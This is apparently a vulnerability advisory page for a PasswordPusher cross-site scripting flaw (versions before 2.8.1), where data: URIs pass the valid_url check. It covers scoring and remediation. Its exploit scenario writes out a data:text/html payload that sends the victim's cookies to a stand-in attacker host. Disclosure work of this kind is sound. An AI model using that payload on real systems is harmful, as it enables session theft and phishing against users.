Lifecycle Timeline
2DescriptionCVE.org
PasswordPusher before 2.8.1 accepts data URI schemes in URL push payloads due to insufficient validation in the valid_url function. Attackers can create malicious pushes containing data:text/html URIs that execute arbitrary JavaScript in victims' browsers when clicked, enabling phishing and credential theft under the trusted PasswordPusher domain.
AnalysisAI
Cross-site scripting via data URI injection in PasswordPusher before 2.8.1 allows unauthenticated attackers to create URL pushes containing data:text/html payloads that execute arbitrary JavaScript in victims' browsers under the trusted PasswordPusher origin. The root cause is the valid_url function accepting data: URI schemes as valid URLs, meaning any attacker with push creation access can craft a link that, when clicked by a recipient, renders attacker-controlled HTML and JavaScript within the trusted application domain - enabling convincing phishing pages or session cookie harvesting. …

Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | No authentication is required to create a URL push in PasswordPusher (PR:N in the CVSS 4.0 vector), so any external attacker can generate a malicious push link without an account. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/SC:H/SI:L) scores 6.3, reflecting network-accessible exploitation with no authentication required and no attack complexity, but requiring a single victim interaction (UI:P - link click). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An external attacker with no account creates a PasswordPusher URL push with a payload of data:text/html,<html><body><script>document.location='https://attacker.example/steal?c='+document.cookie</script></body></html> and shares the resulting push link via email to a corporate helpdesk team that routinely receives credential-sharing links from PasswordPusher. A helpdesk agent clicks the link expecting a password, the browser renders the data URI as HTML within the PasswordPusher origin, and the embedded JavaScript exfiltrates the agent's session cookies to the attacker's server. … |
| Remediation | The primary remediation is upgrading to PasswordPusher 2.8.1 or later, which introduces proper rejection of data: URI schemes in the valid_url validation function. … Detailed patch versions, workarounds, and compensating controls in full report. |
